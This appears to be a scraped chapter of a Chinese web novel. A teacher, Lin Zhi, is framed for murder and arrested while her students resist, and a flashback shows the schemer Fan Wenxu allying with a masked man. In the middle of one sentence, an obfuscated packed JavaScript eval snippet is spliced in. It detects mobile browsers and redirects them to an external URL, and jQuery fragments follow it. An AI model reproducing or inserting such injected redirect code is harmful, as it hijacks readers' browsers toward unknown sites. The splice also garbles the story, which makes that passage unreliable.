为首的衙役嫌恶地捂着鼻子,厉声喝道:“拿下!”
“唰”一声,官差齐齐亮刀,寒光映照在董利等人怒目圆睁的脸上。双方皆摩拳擦掌,严阵以待。
林芷强自镇定,高声道:“大人且慢!”
她深吸一口气,压下胸中翻涌的情绪,冷声道:“此人确系我院学子,但自前夜起便已失踪。我们翻遍书院都未能寻到,实在不知他为何会出现在此。”
“这个我可以证明!”一位管教站出来,“地上躺的这人叫张清明,我是他的管教,这两日我们都没见过他,定是有人蓄意栽赃!”
“大人,他们都是一伙的,自然相互包庇,依属下之见,不如直接带回去——”
为首的衙役抬手制止手下,鹰隼般的目光扫过众人:“既然说栽赃,那真正的凶手在哪里?证据又何在?”
“事发突然,还望大人给我们些时间查证。”林芷顿了顿,不卑不亢接着道,“我们学院守备严明,进出都有记录,凶手必在登记的人之中,只要大人允许——”
“报!大人!”
一声急促的呼喊打断了她的话,只见一名衙役疾奔而来,停下朝领头垂首抱拳:“我们发现了之前失踪者财物衣物,大人请看。”
说着他错开一步,差人应声捧上,为首的衙役迅速扫了眼,问道:“在哪里找到的?”
“五楼,左边第一间屋子。”
“是谁的房间?”
为首的衙役目光锐利地扫过去,董利等人皆不说话,林芷站了出来,声音平静道:“我的。”
“先生……”董利猝然抬头。
“事到如今,证据确凿,你还有什么好狡辩的。”为首的衙役声色俱厉,“来人!”
董利等人正要反抗,却被林芷又一次横臂拦下,那些衙役一拥而上,摁住她的肩膀和手臂。
“我确实没有什么好辩驳的。”林芷没有一点挣扎,任由衙役钳制,她抬起头冷笑,“但清者自清,我不介意和大人走一趟。”
她目光滚烫,扫过一张张或惊慌或担忧的熟悉的面孔,声音冷冽如刃:“我不知是谁如此害我,但我知道这陷害之人就在我认识的人里面,我林芷行事光明磊落,问心无愧,但藏不住出了叛徒。”
“先生放心!”董利目光灼灼地看着她。“我们定会查明真凶,救你出去!”
“出去?”为首的衙役冷哼一声,眉毛倒竖,“你们就是一家黑店!在座诸位都是同谋,今日一个也别想走!”
他话音未落,那些衙役就已经动了手,管教们纷纷挥拳抵抗,但碍于对面有家伙,没几个回合就败下阵来。
唯有董利,那些锋利长刀划破了他的皮肤,留下了条血淋淋的长口子,但他好似浑然不觉一般,双目血红地大吼一声,向着窗口冲去。
“给我追!”
董利从高处坠落,在地上翻滚几圈,顾不得伤口的疼痛,咬牙爬起来,满眼决绝地最后看了眼楼上。
等着林先生,我这就找人来救你!
他扭头,咬牙冲向门外。
楼上的衙役也是惊呆了,没想到此人会如此拼命,他们纷纷下楼想要追赶,却被楼下一帮学子堵住。
“让让,都让让!”
那些官差咬着牙,但那些学子好似故意一般,他们往哪走,他们就往哪挤,就不给他们通过。
衙役们铩羽而归,只能垂着头跟他们领头的禀报:“报告大人,那跑了的一个,我们实在追不上。”
“罢了,知县大人说他们管事的抓住就行。”领头的衙役心知若强行追赶恐引发骚乱,只得咬牙作罢,招呼手下,“先把抓到的带走!”
林芷就这样被押着往楼下走,那些学子看见她被抓,个个群情激愤,堵住门口不让他们离开。
“操!反了天了都。”有衙役骂了一声。
学子默契地手拉手结成人网,对着他们喊话。
“我们相信先生!先生绝不是凶手!”
“定是有人栽赃!”
“今日若想带先生出去,就从我们身上踏过去!”
有个管教受了伤,他艰难地抬起眼皮,扫过这些为林芷说话的学子,这些曾把书院闹得天翻地覆的混小子们,此刻眼中竟都燃着赤诚。没想到才过去短短一月,竟发生了如此惊人的变化。
他又看向身侧那个女子,平日并没觉得,今日细看,却发现她是如此的纤瘦,细弱的手腕被粗鲁的官差掐出几道刺目的红痕,让他心头一颤。可就是这样一个柔弱的姑娘,却为他们,为许许多多的人撑起了一片天。
“大家都让开吧。”
林芷此话一出,人群都安静了。有人张嘴还想为她抗辩,却被她坚持的目光打回了肚子里。
僵持片刻后,也不知道是谁第一个动的,后面的人陆陆续续动了,人群如退潮般无声分开一道缝隙。
“这才像话。”为首的衙役打量了那些学子几眼,让手下押着林芷等人出去。
学子们沉默地目送她远去,林芷最后回头看了他们一眼,又看抬头看了眼客栈。
原本艳阳高照的天空,不知何时凝聚了几团乌云,一时间黑云蔽日,天色渐昏。
“看什么看,快走。”
押她的人推了她一下,她才收回视线。
与此同时,一道阴沉的视线紧随着林芷离去,在众人看不见的角落,范文叙的唇角微微挑起。
一个半月前,离科考还有三日。
这天夜里,月明星稀,晚风轻吟。
范文叙踏出房门,睡意朦胧地朝茅房走去,离他不远有道人影掠过,而他并未察觉,自顾自往前走着。
忽然,他后颈一麻,下一秒就失去了意识。
再次睁开眼的时候,他发觉自己身处在一个全然陌生的地方,四周一片黑暗,伸手不见五指。
就当他惊魂甫定之时,眼前突然裂开一道缝隙,有阳光穿透飞扬的灰尘,落在他微微眯起的眼上。
他看见一个高大的男人影子逆光而来,坐在了他前方的椅子上。他试图站起来,却发现全身一点力气都没有。
背后的那扇门缓缓阖上,房内又陷入了一片黑暗,男人低沉的声音在耳边响起:“还记得通城的那把火吗?”
“嚓——”
一簇火苗跃起,点燃男人手里的盏蜡油灯,也点燃了范文叙因惊吓而揪紧颤抖的心脏。
飘摇的火苗映照在范文叙的瞳孔上,他借着火光,看清了对面男人的脸。
那是个青色的蛾脸面具,上面每根细密的毛都清晰可见,栩栩如生,一双淬着蛇毒的精明目光从面具底下射出,让人不寒而栗。
范文叙动了动喉结:“你是何人?你怎么会知——”
“我是谁不重要,重要的是,我能帮你。”蛾脸面具的男人低下头,摩挲着拇指上的帝王绿玉扳指,“上次没杀了她,很遗憾吧?”
他见范文叙不说话,接着道:“范世子,你别担心,我不会把这件事说出去的,因为我们有共同的敌人——你说说,这世上怎么会有如此可恶的人。”他身体前倾,看着趴在地上男人的眼睛,“明明可以自己过日子就好,却偏要拦别人的路。”
范文叙瞳孔一点点变大,一瞬间,他脑海里闪现过很多画面。
“是,是。”
心头的怒火一下被点燃,他脸上的表情变得狰狞扭曲。
“若不是她,我赌博一事怎么会被发现,我母亲还有莞儿会对我如此失望!”
大概是因为昏暗的光线给了他错觉,让他想起了那些失眠的夜晚,情绪一下子如一场大雨淋过阴暗的巷角,任何昔日隐藏的腐烂散发着霉味和恶臭味的脏东西,都随着这场雨冲刷出。
“哦?”
蛾脸面具的男人出声,范文叙似被他这句带引诱的尾音挑逗,胸腔开始剧烈起伏,仿佛终于找到宣泄口。
“知道我这几个月怎么过来的吗?日日对着那些枯燥的经书和古板迂腐的老夫子,我恨!为什么一定要在我不擅长的地方花这么长时间,这不是浪费光阴吗?”
他额头上每条血管都在跳动,眼球像要生生突出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781462|168974||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来一般。
“但我还不能表现出来,因为我一旦表露出来,她们就会以为我又‘不正常’了,因为在他们眼里,我只能是个好儿子,好丈夫,除了读书之外,其他东西都是歪门邪道,就连我想经商开个店,她们都会找各种理由给我否决。”
“他们只给我一条路,就是读书,可我找到了自己的路,是那个女人!是那个女人全他妈把他毁了,现在我能做什么?我就是个废人!哈哈哈——”
范文叙笑得肆意而狂妄,蛾脸面具的男人静默片刻,忽嗤笑:“还真是个疯子。”
忽然,范文叙诡异的笑声停止,此时在他面前,一张薄纸由那帝王绿板指的手递过来,他盯了片刻,有些迟疑地接过。
“这是……”
“我们的复仇计划。”蛾脸面具的男人身体往后仰,眼睫微垂,瞳仁被阴影笼罩,显得他整个人的气质愈发森然,“如果你愿意,三日后的科考,我会让你如愿登科,金榜题名。”
范文叙将那纸张的文字细细阅读,读到最后,他的额角的血管猛得一跳,他阖上眼睛,又马上睁开,将纸重新还给蛾脸面具的男人。
“烧了吧。”他的声音像压着疾风骤雨。
蛾脸面具的男人接过,用灯火将纸角点燃,起初只是点点火星,随着火势蔓延,整张纸开始剧烈燃烧,发出噼啪的脆裂声。
蛾脸面具的男人看着那燃烧的火苗,语气玩味道:“那世子的意思是答应,还是不答应?”
范文叙同样盯住那火苗,瞳孔被火光映照得发红。
“答应?”他嘴角微抽,诡笑一声,“世上没有任何人能指导我做事,您的计划我看了,不够完美,我想到一个计划——”
他抬起头,盯住对面男人的眼睛:“就看您肯不肯答应了。”
蛾脸面具的男人丢下那张将要燃烧殆尽的纸页:“我就听你说说。”
在听完范文叙的陈述后,蛾脸面具的男人拍了下手掌,站起身,用靴子将地面的余烬碾作齑粉。
“我会派人配合完成你的计划。”
他转身,闭上眼睛,用鼻息吐了一口气。
没想到这小子思虑如此周密,不仅有细节安排,还有对自己实力的试探。
看来他找对人了。
他又睁开眼,吹灭了烛火,门口裂出一道缝隙射出光亮,他朝着那光亮走去。
“等你的好消息。”
范文叙被那道背影笼住光亮,此刻他终于有些力气站了起来,不过身形有些摇晃。
有一束光正好落到他的眼睛上,却瞬间融成了黑色,他嘴角下压,也跟着那人离去的方向走过去。
脚步声响起,溅起地面潮浊泥泞的水花。
牢狱独有的潮湿的霉味堵在鼻喉处,上不去下不来,还有一股难以言状的像是什么东西腐烂的怪味。
“进去。”
少女手腕上的绳子被解开,后背狱卒重重一推,踉跄地进了牢房。
她回头,看见牢门被狱卒牢牢锁上。
林芷碰了下破皮的手腕,咬牙倒吸了口凉气,余光却瞥见阴影深处,有八九个重重人影走出来。
这些人有男有女,为首的那个是个吊梢眼的胖子,他脸上一条长长的刀疤,从凸出的颧骨一直拉到太阳穴,像一条大而丑陋的蜈蚣,全身上下散发着一种强烈的压迫感。
旁边的瘦子形销骨立,似是他的小弟,在身旁谄媚道:“老大,又有个新来的,还是个女的。”
“我眼睛不瞎,不需要你提醒。”
听到老大这么一训,瘦子呐呐闭嘴。
刀疤脸开始居高临下审视着他,林芷心头警铃大作,见他眼闪幽光,目光如附骨之疽将她从头到脚打量个遍,她的小臂瞬间起了一层细密的鸡皮疙瘩。
不远处一滴凝结的水珠从墙顶落下,“啪”地打到石板上,明明极细微的声音,却在这一刻无限放大。
林芷看见他的脸上忽然浮起了阴寒的笑,森森白齿叩击着,用勾魂似的嗓音喊她:
“你,过来。”